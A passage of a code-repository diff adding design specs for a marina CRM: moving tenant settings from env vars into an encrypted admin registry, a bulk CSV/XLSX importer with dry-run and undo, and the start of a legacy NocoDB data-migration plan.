+- **Always include file:line evidence** when known — even a guess is better than none.
+- **Bucket by effort, not domain.** Quick / Medium / Large / Bug. Cross-domain refactors that touch several files but each touch is small belong in Quick or Medium.
+- **Premature or aspirational items still queue.** Reason: the project's feedback memory explicitly says don't silently filter; the finding belongs even if we won't act on it this session.
+- **Shipped entries keep their detail.** When marking a finding SHIPPED, edit the status tag and append a "Fix applied:" paragraph below the original symptom + root cause. Don't strip the context — the queue is also the history.

docs/superpowers/specs/2026-05-15-env-to-admin-migration-design.md

@@ -0,0 +1,391 @@
+# Env-to-Admin Migration — Design Spec
+
+**Date:** 2026-05-15
+**Status:** Draft (awaiting user review)
+**Author:** Brainstorm session, Matt + Claude
+
+## Goal
+
+Move every tenant-configurable environment variable into the per-port admin UI, leaving env exclusively for boot-time / build-time / chicken-and-egg secrets. Eliminate the silent drift that produced two of the audit's findings (S-23 plaintext S3 access key; Documenso API key stored plaintext per its own admin form description).
+
+## Non-goals
+
+- **Not** moving boot-time secrets (DATABASE_URL, BETTER_AUTH_SECRET, etc.) — they're needed before the DB is reachable.
+- **Not** building a Google OAuth admin form — feature is not in use.
+- **Not** changing the existing per-port `system_settings` storage table — only adding columns / rows.
+- **Not** silently mutating `.env` files at runtime (rejected as too footgun-y).
+
+## Scope decisions (from brainstorming)
+
+| Decision            | Choice                                                                                                                                           |
+| ------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------ |
+| Which env vars move | Anything tenant-configurable (option 2). Boot-time + build-time stay in env.                                                                     |
+| Env-fallback policy | Env stays as runtime fallback when admin field is blank. Vars are commented out in `.env.example`, with dev + prod templates committed to repo.  |
+| Per-port vs global  | Per-port with global fallback (`port_id IS NULL`) for credentials and shared infrastructure. Resolution: port → global → env → registry default. |
+| Encryption          | All credential-class fields AES-256-GCM via `EMAIL_CREDENTIAL_KEY`. Fixes S-23 + Documenso plaintext as part of this migration.                  |
+| Migration UX        | "Using env fallback" badge per field + "Copy current value from env" one-click button. Operator-driven; nothing happens automatically at boot.   |
+| Implementation      | Settings registry + uniform resolver (approach A).                                                                                               |
+
+## Architecture
+
+The current code has 4 places that "know" about each setting:
+
+1. Env validation schema (`src/lib/env.ts`)
+2. Per-domain resolver (`src/lib/services/port-config.ts` for Documenso/email; ad-hoc reads for others)
+3. Admin form definition (`SettingFieldDef[]` in each `admin/<integration>/page.tsx`)
+4. Encryption call site (per service)
+
+These drift independently and produce drift bugs. Replace those 4 sites with **one registry entry per setting**. The registry is consumed by:
+
+- **Resolver** (`getSetting(key, portId)`) — port → global → env → default; decrypts on read if `encrypted: true`.
+- **Admin form generator** — renders inputs from `type` + `label` + `description`; auto-attaches the "Using env fallback" badge + "Copy from env" button. Encryption is transparent (resolver returns `*IsSet: true` for credential fields, never the cleartext).
+- **Validator** — Zod schema attached to each entry, used by both the admin write endpoint AND env validation at boot.
+- **Encryption helper** — registry says `encrypted: true` → resolver wraps in `encrypt()`/`decrypt()`.
+
+Existing per-port settings table (`system_settings`) stays — no schema migration beyond adding `_encrypted` suffix to a few previously-plaintext columns and one new column for webhook secret.
+
+```
+┌─────────────────────────────────────────────────────────┐
+│                  src/lib/settings/                      │
+│  ┌──────────────────────┐    ┌─────────────────────┐    │
+│  │ registry.ts          │    │ resolver.ts         │    │
+│  │  - one entry per key │───▶│ getSetting(k, port) │    │
+│  │  - type, encrypted,  │    │ writeSetting(k, v)  │    │
+│  │    scope, validator  │    │ envFallbackFor(k)   │    │
+│  └──────────────────────┘    └──────────┬──────────┘    │
+│                                         │               │
+│  ┌──────────────────────┐    ┌──────────▼──────────┐    │
+│  │ encryption.ts        │◀───│ system_settings     │    │
+│  │  AES-256-GCM         │    │ (existing table)    │    │
+│  └──────────────────────┘    └─────────────────────┘    │
+└─────────────────────────────────────────────────────────┘
+                       ▲
+                       │
+┌──────────────────────┴──────────────────────────────────┐
+│         RegistryDrivenForm (React component)            │
+│  Input: { sections: ['documenso.api', ...] }            │
+│  Output: <Form> with badges + Copy-from-env buttons     │
+└─────────────────────────────────────────────────────────┘
+```
+
+## Registry shape
+
+```ts
+// src/lib/settings/registry.ts
+export interface SettingEntry {
+  /** Stable key written to system_settings.key */
+  key: string;
+  /** Human-readable section the admin form groups by */
+  section: string;
+  /** UI label */
+  label: string;
+  /** UI description (markdown allowed) */
+  description: string;
+  /** Type drives both validation and form input */
+  type: 'string' | 'password' | 'number' | 'boolean' | 'select' | 'url' | 'email';
+  /** select-only */
+  options?: Array<{ value: string; label: string }>;
+  /** Zod schema — overrides type-default validator if provided */
+  validator?: z.ZodTypeAny;
+  /** Defaults applied when port + global + env all absent */
+  defaultValue?: string | number | boolean | null;
+  /** Encrypt at rest with AES-256-GCM */
+  encrypted?: boolean;
+  /** Per-port (default) or global-only (super-admin) */
+  scope: 'port' | 'global';
+  /** Env var name to consult as fallback when port + global blank */
+  envFallback?: string;
+  /** Optional value transformer applied after resolution */
+  transform?: (raw: unknown) => unknown;
+  /** Sensitive: never surface cleartext via admin API; emit `<key>IsSet: boolean` instead */
+  sensitive?: boolean;
+}
+
+export const REGISTRY: SettingEntry[] = [
+  // Documenso
+  {
+    key: 'documenso_api_url',
+    section: 'documenso.api',
+    label: 'API URL',
+    type: 'url',
+    scope: 'port',
+    envFallback: 'DOCUMENSO_API_URL',
+    description: 'Bare host only — never include /api/v1.',
+  },
+  {
+    key: 'documenso_api_key',
+    section: 'documenso.api',
+    label: 'API key',
+    type: 'password',
+    scope: 'port',
+    encrypted: true,
+    sensitive: true,
+    envFallback: 'DOCUMENSO_API_KEY',
+    description: 'AES-encrypted at rest.',
+  },
+  {
+    key: 'documenso_api_version',
+    section: 'documenso.api',
+    label: 'API version',
+    type: 'select',
+    options: [
+      { value: 'v1', label: 'v1' },
+      { value: 'v2', label: 'v2' },
+    ],
+    scope: 'port',
+    envFallback: 'DOCUMENSO_API_VERSION',
+    defaultValue: 'v1',
+  },
+  {
+    key: 'documenso_webhook_secret',
+    section: 'documenso.api',
+    label: 'Webhook secret',
+    type: 'password',
+    scope: 'port',
+    encrypted: true,
+    sensitive: true,
+    envFallback: 'DOCUMENSO_WEBHOOK_SECRET',
+    description: 'Used to verify inbound webhook deliveries via X-Documenso-Secret header.',
+  },
+  // ... continued for every migrated key
+];
+```
+
+Resolver:
+
+```ts
+// src/lib/settings/resolver.ts
+export async function getSetting<T = unknown>(
+  key: string,
+  portId: string | null,
+): Promise<T | null> {
+  const entry = registryFor(key);
+  if (!entry) throw new Error(`Unknown setting: ${key}`);
+
+  // 1. port-specific
+  if (portId && entry.scope === 'port') {
+    const row = await db.query.systemSettings.findFirst({
+      where: and(eq(systemSettings.key, key), eq(systemSettings.portId, portId)),
+    });
+    if (row?.value != null) return decryptIf(entry, row.value) as T;
+  }
+
+  // 2. global (port_id IS NULL)
+  const globalRow = await db.query.systemSettings.findFirst({
+    where: and(eq(systemSettings.key, key), isNull(systemSettings.portId)),
+  });
+  if (globalRow?.value != null) return decryptIf(entry, globalRow.value) as T;
+
+  // 3. env fallback
+  if (entry.envFallback && process.env[entry.envFallback]) {
+    return (
+      entry.transform?.(process.env[entry.envFallback]) ?? (process.env[entry.envFallback] as T)
+    );
+  }
+
+  // 4. registry default
+  return (entry.defaultValue ?? null) as T;
+}
+```
+
+The existing `getPortDocumensoConfig` etc. become thin convenience wrappers that batch a few `getSetting` calls and return a typed object:
+
+```ts
+export async function getPortDocumensoConfig(portId: string) {
+  const [apiUrl, apiKey, apiVersion, webhookSecret, ...rest] = await Promise.all([
+    getSetting<string>('documenso_api_url', portId),
+    getSetting<string>('documenso_api_key', portId),
+    getSetting<DocumensoApiVersion>('documenso_api_version', portId),
+    getSetting<string>('documenso_webhook_secret', portId),
+    // ...
+  ]);
+  return { apiUrl, apiKey, apiVersion, webhookSecret, ...mapRest(rest) };
+}
+```
+
+## Admin UI generation
+
+```tsx
+// src/components/admin/registry-driven-form.tsx
+interface Props {
+  sections: string[]; // e.g. ['documenso.api', 'documenso.signers']
+  portId: string | null; // null = global tab
+}
+
+export function RegistryDrivenForm({ sections, portId }: Props) {
+  const entries = REGISTRY.filter((e) => sections.includes(e.section));
+  const { data: resolved } = useResolvedValues(entries, portId);
+
+  return entries.map((entry) => (
+    <FormField key={entry.key}>
+      <Label>{entry.label}</Label>
+      {entry.description && <p className="text-xs text-muted-foreground">{entry.description}</p>}
+      <Input
+        type={entry.type === 'password' ? 'password' : entry.type}
+        value={
+          entry.sensitive
+            ? resolved[entry.key]?.isSet
+              ? '••••••••'
+              : ''
+            : (resolved[entry.key]?.value ?? '')
+        }
+      />
+      {resolved[entry.key]?.source === 'env' && (
+        <div className="flex gap-2">
+          <Badge>Using env fallback</Badge>
+          <Button onClick={() => copyFromEnv(entry.key, portId)}>Copy from env</Button>
+        </div>
+      )}
+    </FormField>
+  ));
+}
+```
+
+The existing per-integration admin pages become 5-line wrappers:
+
+```tsx
+// admin/documenso/page.tsx (replaces the current 410-line file)
+export default function DocumensoAdmin() {
+  return (
+    <>
+      <PageHeader title="Documenso" />
+      <RegistryDrivenForm
+        sections={['documenso.api', 'documenso.signers', 'documenso.templates']}
+      />
+      <DocumensoTestButton />
+    </>
+  );
+}
+```
+
+## API endpoints
+
+Two endpoints replace the current ad-hoc per-section endpoints:
+
+| Method | Path                                                                       | Purpose                                                                                                                                                                                                                    |
+| ------ | -------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| GET    | `/api/v1/admin/settings/resolved?sections=documenso.api,documenso.signers` | Returns `{ key, value, source: 'port' \| 'global' \| 'env' \| 'default', isSet }` per requested entry. Sensitive fields never include cleartext.                                                                           |
+| PUT    | `/api/v1/admin/settings/:key`                                              | Body `{ value }`. Validates against registry's Zod schema. Encrypts if `encrypted: true`. Writes to `system_settings`. Audit-logged with `action: 'update'`, `entityType: 'setting'`, `metadata: { key }`, secrets masked. |
+| DELETE | `/api/v1/admin/settings/:key`                                              | Removes the row → reverts to global → env → default.                                                                                                                                                                       |
+| POST   | `/api/v1/admin/settings/:key/copy-from-env`                                | One-click migration. Reads env var named in `entry.envFallback`, writes to `system_settings`, returns the resulting resolved state.                                                                                        |
+
+Existing `PUT /api/v1/admin/settings` (the generic upsert) stays for backward compat with the few non-registry writers; new fields use the typed endpoint.
+
+## Encryption integration
+
+- Reuse existing `encrypt()` / `decrypt()` from `src/lib/utils/encryption.ts` (AES-256-GCM, random IV per encryption, GCM auth tag).
+- Resolver auto-wraps encrypt on write when `entry.encrypted === true`, decrypt on read.
+- `system_settings.value` is `JSONB`. For encrypted values, store as `{ ciphertext, iv, tag }` (already the convention in `sales-email-config.service.ts`).
+- Sensitive fields surface `<key>IsSet: boolean` in the API response, never the decrypted value. The admin form shows `••••••••` placeholder.
+- Audit log integration: when writing to a key with `encrypted: true`, the `newValue` is replaced with `{ value: '[redacted]' }` before audit-log write — fixes audit finding **AU-02** (encrypted ciphertext in audit log) as part of this work.
+
+## Env catalog
+
+Every env var, classified:
+
+### A. Stays in env (boot-time / build-time / chicken-and-egg)
+
+| Var                         | Reason                                                                                          |
+| --------------------------- | ----------------------------------------------------------------------------------------------- |
+| `DATABASE_URL`              | Need DB connection before reading from DB                                                       |
+| `REDIS_URL`                 | Same — Redis pre-init                                                                           |
+| `BETTER_AUTH_SECRET`        | Cookie/session signing key, read at auth init                                                   |
+| `BETTER_AUTH_URL`           | Auth callback base URL, read at auth init                                                       |
+| `CSRF_SECRET`               | CSRF token signing, read pre-DB                                                                 |
+| `EMAIL_CREDENTIAL_KEY`      | The AES key used to encrypt other DB-stored credentials (chicken-and-egg)                       |
+| `NODE_ENV`                  | Read pre-init by Next.js, logger, etc.                                                          |
+| `LOG_LEVEL`                 | Read at logger init pre-DB                                                                      |
+| `PORT`                      | Listen port, read at server start                                                               |
+| `NEXT_PUBLIC_APP_URL`       | Inlined into client JS bundle at build time                                                     |
+| `NEXT_PUBLIC_SENTRY_DSN`    | Same — client-side Sentry init                                                                  |
+| `MULTI_NODE_DEPLOYMENT`     | Used at boot to gate filesystem backend                                                         |
+| `SKIP_ENV_VALIDATION`       | Internal bypass flag                                                                            |
+| `WEBSITE_INTAKE_SECRET`     | Boot-time shared secret with marketing site (could go DB but operator-shared, not user-tunable) |
+| `EMAIL_REDIRECT_TO`         | Dev-only safety net; operator convenience                                                       |
+| `SENTRY_ENVIRONMENT`        | Read at Sentry SDK init pre-DB                                                                  |
+| `SENTRY_TRACES_SAMPLE_RATE` | Same                                                                                            |
+
+### B. Migrates to admin (per-port, encrypted where credential)
+
+| Var                                | Registry key                       | Encrypted                     | Already in admin?             |
+| ---------------------------------- | ---------------------------------- | ----------------------------- | ----------------------------- |
+| `DOCUMENSO_API_URL`                | `documenso_api_url`                | no                            | yes (override)                |
+| `DOCUMENSO_API_KEY`                | `documenso_api_key`                | **yes** (was plaintext)       | yes (override, plaintext bug) |
+| `DOCUMENSO_API_VERSION`            | `documenso_api_version`            | no                            | yes                           |
+| `DOCUMENSO_WEBHOOK_SECRET`         | `documenso_webhook_secret`         | **yes**                       | **no — gap**                  |
+| `DOCUMENSO_TEMPLATE_ID_EOI`        | `documenso_eoi_template_id`        | no                            | yes                           |
+| `DOCUMENSO_CLIENT_RECIPIENT_ID`    | `documenso_client_recipient_id`    | no                            | yes                           |
+| `DOCUMENSO_DEVELOPER_RECIPIENT_ID` | `documenso_developer_recipient_id` | no                            | yes                           |
+| `DOCUMENSO_APPROVAL_RECIPIENT_ID`  | `documenso_approval_recipient_id`  | no                            | yes                           |
+| `MINIO_ENDPOINT`                   | `storage_s3_endpoint`              | no                            | yes (storage admin)           |
+| `MINIO_PORT`                       | (combined into endpoint URL)       | —                             | yes                           |
+| `MINIO_ACCESS_KEY`                 | `storage_s3_access_key`            | **yes** (was plaintext, S-23) | yes (plaintext bug)           |
+| `MINIO_SECRET_KEY`                 | `storage_s3_secret_key`            | yes (already)                 | yes                           |
+| `MINIO_BUCKET`                     | `storage_s3_bucket`                | no                            | yes                           |
+| `MINIO_USE_SSL`                    | (combined into endpoint URL)       | —                             | yes                           |
+| `MINIO_AUTO_CREATE_BUCKET`         | `storage_s3_auto_create_bucket`    | no                            | new                           |
+| `SMTP_HOST`                        | `smtp_host_override`               | no                            | yes                           |
+| `SMTP_PORT`                        | `smtp_port_override`               | no                            | yes                           |
+| `SMTP_USER`                        | `smtp_user_override`               | no                            | yes                           |
+| `SMTP_PASS`                        | `smtp_pass_override`               | yes (already)                 | yes                           |
+| `SMTP_FROM`                        | `email_from_address`               | no                            | yes                           |
+| `OPENAI_API_KEY`                   | `openai_api_key`                   | yes (already)                 | yes                           |
+| `APP_URL`                          | `app_url`                          | no                            | **new**                       |
+| `PUBLIC_SITE_URL`                  | `public_site_url`                  | no                            | **new**                       |
+
+### C. Skipped (YAGNI)
+
+| Var                                        | Reason                            |
+| ------------------------------------------ | --------------------------------- |
+| `GOOGLE_CLIENT_ID`, `GOOGLE_CLIENT_SECRET` | OAuth not used and not on roadmap |
+
+## Migration of existing code
+
+1. **Replace `getPortDocumensoConfig` body** to call the new `getSetting` per field (see Architecture section).
+2. **Replace `getSalesEmailConfig` body** the same way.
+3. **Replace direct `process.env.X` reads** in: `receipt-scanner.ts:4` (OpenAI client), `documents.service.ts` (any direct env reads), `webhook-event-map.ts` (webhook URL builder), all `src/lib/storage/` backend reads.
+4. **Migrate the 5 admin pages** (Documenso, AI, OCR, Email, Storage) to use `RegistryDrivenForm`. Keep page-specific extras (test buttons, status cards, AI budget card, sends log).
+5. **Add migrations:**
+   - One-time data migration: copy any plaintext `documenso_api_key_override` and `storage_s3_access_key` rows into encrypted columns, drop plaintext columns. Reuse `encrypt()`.
+   - Schema: add `documenso_webhook_secret` row on first registry-resolver init, and any new keys (`app_url`, `public_site_url`).
+6. **Update `.env.example`:** comment out everything in category B, add an explanation header pointing operators to `/admin/<integration>` after first super-admin login. Generate `dev.env.example` and `prod.env.example` templates with category-A vars only (the boot-time minimum).
+7. **Update `src/lib/env.ts`:** mark all category-B vars as `optional()` (env is fallback, not required for boot). Category-A stays required.
+
+## Error handling
+
+- **Resolver:** unknown key → throws (programming error). Decryption failure → throws + audit-logged with `action: 'decryption_failed'`. Missing required value → returns `null`, caller decides (e.g. Documenso send fails with a clear error toast).
+- **Admin write:** Zod validation failure → 400 with field-level errors via `parseBody`. Encryption failure → 500 + audit `action: 'encryption_failed'`. Permission check at route handler (`admin.manage_settings` or domain-specific permission).
+- **Form:** "Copy from env" when env var is empty → toast "no env value to copy". Save with empty cleartext on a sensitive field → DELETE the row (reverts to env/default), don't write empty ciphertext.
+
+## Testing
+
+Unit tests:
+
+- `getSetting` — port → global → env → default precedence (per-port hits, global hits, env fallback, default fallback)
+- `getSetting` — encrypted entry round-trips
+- `getSetting` — sensitive entry surfaces `*IsSet` boolean only
+- Registry validators reject malformed values
+- Migration script: plaintext → encrypted round-trips correctly
+
+Integration tests:
+
+- `PUT /api/v1/admin/settings/:key` with valid + invalid payloads
+- `POST /api/v1/admin/settings/:key/copy-from-env` with present + absent env
+- Audit log row written with masked secret value
+
+E2E (Playwright smoke):
+
+- Super-admin opens `/admin/documenso`, sees "Using env fallback" badges on inherited fields, types a value, saves, badge disappears
+- Click "Copy from env" → field auto-fills, badge changes to "Set in port"
+- Per-port override actually applied: switch port → see different value resolved
+
+## Rollout
+
+Single PR, single migration. Backward compat via env-as-fallback means existing deployments keep working unchanged after deploy (admin DB rows are absent, so resolver falls through to env). Operator opts in to admin-canonical configuration field-by-field.
+
+## Out of scope (separate work)
+
+- Building admin form for OCR / berth-PDF parser tunables (feature settings, not env migration)
+- Refactoring all _other_ per-port settings (vocabularies, qualification criteria, custom fields, etc.) into the registry — those already have working bespoke forms; no drift bug there.
+- Adding settings versioning / rollback (not requested)
+- Multi-tenant settings export/import (not requested)

docs/superpowers/specs/2026-06-01-bulk-import-design.md

@@ -0,0 +1,168 @@
+# Bulk CSV/XLSX Importer — Design Spec
+
+> **Status:** Approved (2026-06-01) · ready for implementation plan
+> **Driver:** Replace the static `admin/import` mockup with a real
+> self-serve importer. Primary purpose: **one-time cutover migration**
+> of legacy NocoDB/portal data into the new CRM at launch.
+> **Tracker:** `docs/launch-readiness.md` · feature-completeness batch.
+
+## Purpose & scope
+
+A visual importer that ingests CSV/XLSX exports of the legacy system and
+loads them into the CRM with column-mapping, dry-run preview, dedup, and
+per-batch undo. Built for the cutover migration but engineered as a
+reusable engine (it can serve ongoing ops later without a rewrite).
+
+**In scope — seven entities**, imported in dependency order so foreign
+keys resolve by natural key:
+
+| #   | Entity          | Dedup match-key                                                  | FKs resolved by natural key             |
+| --- | --------------- | ---------------------------------------------------------------- | --------------------------------------- |
+| 1   | Companies       | `name` (case-insensitive)                                        | —                                       |
+| 2   | Clients         | primary `email` → fallback canonical `phone`                     | —                                       |
+| 3   | Yachts          | `name` + owner (or HIN if present)                               | owner → client email / company name     |
+| 4   | Berths          | `mooringNumber` (canonical `^[A-Z]+\d+$`)                        | —                                       |
+| 5   | Interests/deals | default **create-new** (flag likely dupes by client+berth+stage) | client → email, primary berth → mooring |
+| 6   | Tenancies       | client + berth + `startDate`                                     | client → email, berth → mooring         |
+| 7   | Expenses        | `date` + `amount` + `description` (or none)                      | —                                       |
+
+Berths are included for UI consistency even though
+`scripts/import-berths-from-nocodb.ts` already covers them via CLI.
+
+**Non-goals (v1):** full pre-update snapshot/revert of _updated_ rows
+(undo covers inserts only); streaming multi-GB files (migration files
+are small); scheduling/automation of imports; importing attachments/PDFs
+(handled by the Initiative 5 MinIO backfill scripts, separate).
+
+## Architecture — generic engine + per-entity adapter registry
+
+One pipeline parameterised by a per-entity **adapter**, mirroring the
+existing `src/lib/reports/custom/registry.ts` and settings-registry
+patterns.
+
+`src/lib/import/registry.ts` exports `IMPORT_ENTITY_KEYS` and
+`IMPORT_REGISTRY: Record<ImportEntityKey, ImportAdapter>`. Each adapter:
+
+```ts
+interface ImportAdapter {
+  key: ImportEntityKey;
+  label: string;
+  order: number; // dependency order (companies=1 … expenses=7)
+  dependsOn: ImportEntityKey[];
+  /** Target fields drive the column-mapping UI + zod validation. */
+  targetFields: ImportField[]; // { key, label, required, type, zod }
+  /** Natural key used for dedup + as the FK-resolution lookup value. */
+  matchKey: (row: MappedRow) => string | null;
+  /** Resolve FK ids by natural key against the live DB. Returns ids or a
+   *  per-field resolution error. */
+  resolveForeignKeys: (row: MappedRow, ctx: ImportCtx) => Promise<FkResult>;
+  /** Dedup lookup — find an existing row by matchKey within the port. */
+  findExisting: (portId: string, matchKey: string) => Promise<{ id: string } | null>;
+  /** Writes delegate to the EXISTING service helpers so audit logging,
+   *  validation, and polymorphic-ownership rules come for free. */
+  insert: (row: ResolvedRow, ctx: ImportCtx) => Promise<{ id: string }>;
+  update: (existingId: string, row: ResolvedRow, ctx: ImportCtx) => Promise<void>;
+}
+```
+
+Adding an entity = adding one adapter + registering it. No engine change.
+
+## Pipeline (BullMQ `import` queue, concurrency 1)
+
+The queue + worker already exist (`src/lib/queue/workers/import.ts` is
+currently a documented no-op). We replace the no-op body with the real
+processor and add a producer.
+
+1. **Upload & parse.** Drag-drop CSV/XLSX → parse (papaparse for CSV;
+   **ExcelJS already installed** for XLSX) → raw rows. The uploaded file
+   is stored via `getStorageBackend()` under a temp prefix so the worker
+   can re-read it; cleaned up after commit or on expiry.
+2. **Map columns.** Auto-suggest mappings by fuzzy header match to the
+   adapter's `targetFields`; user overrides; **save mapping as a per-port
+   template** (`import_mappings`) for re-runs.
+3. **Dry-run (no writes).** Per row: apply mapping → zod-validate →
+   `resolveForeignKeys` → `findExisting` → classify as
+   `will-insert | will-update | will-skip | error(line, reason)`. Surface
+   counts + a sample of rows + a downloadable line-numbered error report.
+4. **Commit.** Producer enqueues the job; the worker streams rows applying
+   the chosen **conflict policy** (`skip-matches` / `update-matches` /
+   `error-on-match`) via the adapter's `insert`/`update`. Per-row try/catch
+   so valid rows still land; every action recorded in `import_batch_rows`;
+   `import_batches` updated with live progress + final counts.
+5. **History + Undo.** Admin list of batches (status, counts, error-report
+   download). **Undo** deletes the rows a batch _inserted_, in reverse
+   dependency order, refusing if any inserted row now has dependents
+   created outside the batch. Updates are marked non-revertible in v1.
+
+## Data model (3 new tables; no changes to entity tables)
+
+- **`import_batches`** — `id, port_id, entity_type, filename, storage_key,
+status (uploaded|dry_run|committing|completed|failed|undone),
+total_rows, inserted, updated, skipped, errored, mapping_json,
+conflict_policy, created_by, created_at, completed_at`.
+- **`import_batch_rows`** — `id, batch_id, row_number, action
+(inserted|updated|skipped|errored), entity_id (nullable), error
+(nullable)`. Powers the error report + undo. Migration-scale volume is
+  fine.
+- **`import_mappings`** — `id, port_id, entity_type, name, mapping_json,
+created_by, created_at`. Saved column mappings, reusable across runs.
+
+Migration added via the project's `psql`-applied numbered migration flow;
+restart `next dev` after (prepared-statement cache caveat per CLAUDE.md).
+
+## Validation, errors, conflict policy
+
+- **Per-row zod** from each adapter's `targetFields`; failures collected
+  with row number + field + message, never aborting the whole file.
+- **Downloadable error report** (CSV: row, field, message) from any
+  dry-run or completed batch.
+- **Conflict policy** chosen per import, surfaced at the dry-run step
+  (three distinct behaviours for a matched row):
+  - `skip-matches` — insert new, leave matched rows untouched. Default;
+    safe to re-run.
+  - `update-matches` — insert new, overwrite matched rows with the file's
+    values (correct earlier mistakes).
+  - `error-on-match` — treat a match as a row error to review, importing
+    nothing for it (strictest).
+
+## UI
+
+A 4-step wizard mirroring the existing **bulk-add-berths wizard**:
+
+1. Pick entity (registry-driven, shown in dependency order with a hint) +
+   upload file.
+2. Map columns (auto-suggested; load a saved mapping; save current).
+3. Dry-run preview — counts (new / update / skip / error), sample table,
+   error-report download, pick conflict policy.
+4. Commit — progress bar (worker reports % via batch counts) → result
+   summary with link to History.
+
+Plus an **Import History** tab: batch list + status + counts + error
+report + **Undo**. Replaces the static mockup at
+`src/app/(dashboard)/[portSlug]/admin/import/page.tsx`.
+
+## Permissions & tenancy
+
+Gate behind a new `data.import` permission (admin-tier). Every query +
+write is `port_id`-scoped; FK resolution only matches within the port.
+
+## Testing (TDD)
+
+- **Per-adapter unit tests** (one suite each): column mapping, zod
+  validation (valid + each failure mode), `matchKey`, `resolveForeignKeys`
+  (hit / miss / ambiguous), `findExisting` dedup.
+- **Dry-run classifier integration test** on a seeded DB: a fixture file
+  yielding one of each class (insert / update / skip / error).
+- **Commit worker integration test**: each conflict policy; partial-failure
+  (valid rows land, errored rows reported); idempotent re-run.
+- **Undo test**: deletes inserted rows; refuses when an inserted row has an
+  outside dependent.
+
+## Decisions locked (defaults the user approved 2026-06-01)
+
+- Rollback depth: **inserts-only undo**; updates non-revertible in v1.
+- Partial failure: **valid rows commit**, errors reported (not
+  all-or-nothing).
+- Berths: **included** in the UI importer despite the existing CLI.
+- All seven entities in scope.
+- Purpose: one-time cutover migration (engine reusable for ongoing ops).

docs/superpowers/specs/2026-06-01-legacy-data-migration-design.md

@@ -0,0 +1,212 @@
+# Legacy → New CRM Data Migration — Design Spec
+
+> **Status:** DRAFT (2026-06-01) · scope locked · awaiting stage-map sign-off
+> **Goal:** Translate all live legacy data + reconnect documents/EOIs so the
+> new CRM "picks up exactly where we left off."
+> **Companion:** `docs/launch-readiness.md` Initiative 5 · `docs/deployment-plan.md`
+> **Source snapshot:** read-only `pg_dump` of prod NocoDB at
+> `private/nocodb-snapshot/` (gitignored), restored locally as `nocodb_legacy`.
+
+## 1. Source landscape (verified 2026-06-01)
+
+Legacy data is spread across these systems (portal has **no DB of its own**):
+
+| System                                                                                                                    | What                                                                                                                                                                                                 | Migrate?                                            |
+| ------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------- |
+| **NocoDB "Port Nimara"** base `plplouets5zw1um`                                                                           | Interests (255), Berths (117), Residences (45), multi-berth junction `_nc_m2m_Berths_Interests` (83), Website subs (Interest 64 / Contact 50 / BerthEOI 1), Newsletter (69), reminder/alert settings | ✅                                                  |
+| **NocoDB "Expenses"** base `p3hq2fxdevqcaq8`                                                                              | Expenses (165); `invoices` empty                                                                                                                                                                     | ✅                                                  |
+| **MinIO bucket `client-portal`**                                                                                          | EOIs, berth PDFs, receipts, business cards, general files                                                                                                                                            | ✅ (Phase 2)                                        |
+| **MinIO bucket `signatures`**                                                                                             | Documenso signed PDFs                                                                                                                                                                                | ✅ (Phase 2)                                        |
+| **Documenso v1.13.1**                                                                                                     | Signing envelopes, linked per-deal by `documensoID`                                                                                                                                                  | ✅ (Phase 2)                                        |
+| 9 other NocoDB bases (Customer_List, Registered Interest, Form Submissions, 2nd Residential, Image Uploads, EOI Queue, …) | Old imports/experiments/backups                                                                                                                                                                      | ❌ **excluded** — zero code refs; stale 7–14 months |
+| Gmail (IMAP), Keycloak                                                                                                    | Email archive, portal auth                                                                                                                                                                           | ❌ out of scope (per Matt)                          |
+
+**Authority for scope:** the live portal + website code reference table IDs in
+**only** the two active bases above; the recency check confirms `Interests` is
+the only actively-written table (last write 2026-05-21).
+
+**Legacy has no Company entity** (everything is attributed to a person), so the
+migration creates **clients + yachts (client-owned) + deals** — no companies.
+
+## 2. Key linking facts
+
+- **Client + yacht are inline on each Interests row** → extract + dedup.
+- **`documensoID`** (e.g. `"82"`) on each deal → resolves to Documenso
+  `Envelope.secondaryId = 'document_' || documensoID` (verified: deal
+  `doc=114` → envelope `document_114`). The envelope's completed PDF = the
+  signed EOI. (Prod Documenso = v1.13.1, 140 migrations — confirmed.)
+- **`Berth Number`** (mooring, e.g. `D31`) + the `_nc_m2m_Berths_Interests`
+  junction → multi-berth links.
+- **Notes** = inline `Internal Notes` + `Extra Comments` (+ 5 rows in
+  `nc_comments`).
+- Dedup key for people: **lowercased email → fallback canonical phone**.
+
+## 3. Phase 1 — NocoDB → new CRM (data)
+
+Build against the local `nocodb_legacy` snapshot; idempotent; every new row
+stamped with its `legacy_nocodb_id` (add a nullable column or a side mapping
+table `migration_id_map(entity, legacy_id, new_id)`).
+
+**Import order (FK-safe):** clients → yachts → interests → interest_berths →
+notes → residential → expenses → website_submissions → settings.
+
+### 3.1 Clients (from Interests, deduped)
+
+Source fields → `clients`: `Full Name`→fullName (title-cased via the legacy
+`normalizePersonName` rule), `Email Address`→primary email, `Phone Number`→
+canonical phone, `Address`+`Place of Residence`→address/locality,
+`Contact Method Preferred`→preferredContactMethod, `Source`→source,
+`Lead Category`→(deal-level, see below). **Dedup:** group all 255 interests by
+lowercased email (fallback canonical phone); one client per unique person,
+N deals.
+
+### 3.2 Yachts (from Interests)
+
+`Yacht Name`→name (skip `TBC`/blank), `Length`/`Width`/`Depth`→dims. **Unit
+note:** legacy stores strings like `"50ft"` — parse number + unit, convert ft→m
+to match the berth/yacht numeric schema (store original string in a note if
+ambiguous). Owner = the deduped client (polymorphic `client`).
+
+### 3.3 Interests / deals
+
+- **Stage:** map `Sales Process Level` (8) → new 7-stage pipeline — **see §4
+  (needs sign-off).**
+- `Lead Category` (General / Friends and Family)→leadCategory, `Source`→source.
+- Statuses: `EOI Status`, `Deposit 10% Status`, `Contract Status`,
+  `Contract Sent Status`, `Berth Info Sent Status` → drive stage + the new
+  EOI/contract/deposit fields; `Deposit 10% Status='Received'` → a `payments`
+  row (deposit) + auto-advance.
+- Dates: `Date Added`/`Created At`→createdAt (DD-MM-YYYY → ISO; many are null —
+  fall back to Documenso/earliest signal), `EOI Time Sent`, `Time LOI Sent`.
+- `documensoID` → stored for Phase 2 EOI relink.
+- **Outcome:** `Sales Process Level='Contract Signed'` + deposit/contract
+  complete → won; otherwise open. (No explicit "lost" in legacy.)
+
+### 3.4 interest_berths (multi-berth)
+
